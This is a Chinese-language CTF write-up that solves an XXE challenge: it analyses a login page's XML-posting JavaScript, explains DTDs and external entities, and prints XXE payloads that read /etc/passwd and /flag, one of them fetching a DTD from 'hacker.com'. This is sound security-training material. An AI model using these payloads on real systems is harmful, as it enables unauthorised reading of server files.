先试了一下弱口令,哈哈习惯了
查看页面源码发现xml
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
1.通过使用jQuery选择器,代码获取了输入框中的用户名和密码。
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
2.这里使用输入的用户名和密码构造了一个简单的 XML 数据字符串。
$.ajax({
type: "POST",
url: "doLogin.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
// 处理登录结果
},
error: function (XMLHttpRequest, textStatus, errorThrown) {
// 处理请求错误
}
});
3.通过 jQuery 的 AJAX 函数,向服务器端发送一个 POST 请求,将构造的 XML 数据发送到名为 "doLogin.php" 的服务端脚本。
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
} else if(code == "1"){
$(".msg").text(msg + " login success!");
} else {
$(".msg").text("error:" + msg);
}
}
4.在成功回调函数中,根据返回的 XML 数据解析出登录结果的代码和消息,然后根据不同的结果更新页面上的提示信息
突然有个想法,上面是判断返回的code是0或1判断成功与否,说明一定会回显,如果拦截回显改了code是不是也能成功登录
抓包,试试,然后拦截
然后forward,等回显改code
放包,成功了,但是没有用,哈哈
那就是xxe,还好之前学了点
给大家解释一下吧,我之前的总结
1.什么是xxe?
XXE漏洞(XML外部实体注入)是一种安全漏洞,可以利用输入验证不严格的 XML 解析器来注入恶意代码。攻击者可以通过构造恶意的 XML 文档将其发送到应用程序中,在解析该文档时,XML 解析器会加载外部实体(如文件、URL等),以便在文档中引用它们。攻击者可以利用这个功能来执行各种攻击,例如读取服务器上的任意文件、发送内部网络请求、绕过身份验证等。
有点像SSRF
PHP 默认使用 libxml 来解析 XML,但是从 libxml 2.9.0 开始,它默认不再解析外部实体,导致 PHP 下的 XXE 漏洞已经逐渐消失,除非你指定 LIBLXML_NOENT 去开启外部实体解析,才会存在 XXE 漏洞。更多其实是java漏洞,因为 XXE 在利用上与语言无关,无论是 php、java 还是 C、python,利用技巧都是一样的。
2.什么是XML
XML(Extensible Markup Language)意为可扩展性标记语言,XML 文档结构包括 XML 声明、文档类型定义(DTD)、文档元素。
参考例子:
<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE people [ <!--定义此文档是 people 类型的文档-->
<!ELEMENT people (name,age,mail)> <!--定义people元素有3个元素-->
<!ELEMENT name (#PCDATA)> <!--定义name元素为“#PCDATA”类型-->
<!ELEMENT age (#PCDATA)> <!--定义age元素为“#PCDATA”类型-->
<!ELEMENT mail (#PCDATA)> <!--定义mail元素为“#PCDATA”类型-->
]]]>
<!--文档元素-->
<people>
<name>john</name>
<age>18</age>
<mail>john@qq.com</mail>
</people>
1.DTD 实体声明
DTD(Document Type Definition,文档类型定义)用于定义 XML 文档结构,包括元素的定义规则、元素间的关系规则、属性的定义规则,其定义结构如下:
<!DOCTYPE 根元素 [定义内容]>
2.内部实体声明
内部声明采用如下格式定义:
<!ENTITY 实体名 "实体值">
声明之后就可以通过“&实体名;”来获取,示例如下
<!DOCTYPE foo [
<!ENTITY test "john">
]>
<root>
<name>&test;</name>
</root
3.外部实体引用
XXE 的产生正是外部实体引用的结果,可分为普通实体和参数实体。
(1)普通实体声明格式如下:
<!ENTITY 实体名 SYSTEM "URI">
或者
<!ENTITY 实体名 PUBLIC "public_ID" "URI">
举个例子:
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
声明实体 xxe,用于读取 /etc/passwd 文件,然后通过 &xxe; 来引用执行。
(2)参数实体声明主要用于后续使用,与普通实体不同的是,它中间有百分号字符(%),其声明格式如下:
<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">
注意:
举个例子:
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://hacker.com/evil.dtd" >
%xxe;
]>
<root>
<name>&evil;</name>
</root>
xxe.dtd 内容如下:
<!ENTITY evil SYSTEM "file:///etc/passwd">
上面先声明 xxe 参数实体,引入外部实体 "http://hacker.com/evil.dtd",里面声明了一个叫 evil 的实体,用于读取 /etc/passwd 文件,最后在通过 &evil; 来引用执行。 在不同的语言中其支持协议还不一样,需要根据业务场景来实测,常见的协议有 file、http、ftp、https、except 等等。
普通实体和外部实体的差别:
作用范围:普通实体的作用范围是整个 XML 文档。当 XML 解析器遇到某个实体时,会将其替换为实体的定义内容。而参数实体只在声明它们的 DTD 内有效。DTD 是一种文档类型定义,它规定了 XML 文档的结构、标签等方面的规范。
回到题目里
那么就可以直接构造payload了
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>123</password></user>
加了一个xml实体,然后通过&admin来输出
看来可以呢
那么接下来就是flag了
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>123</password></user>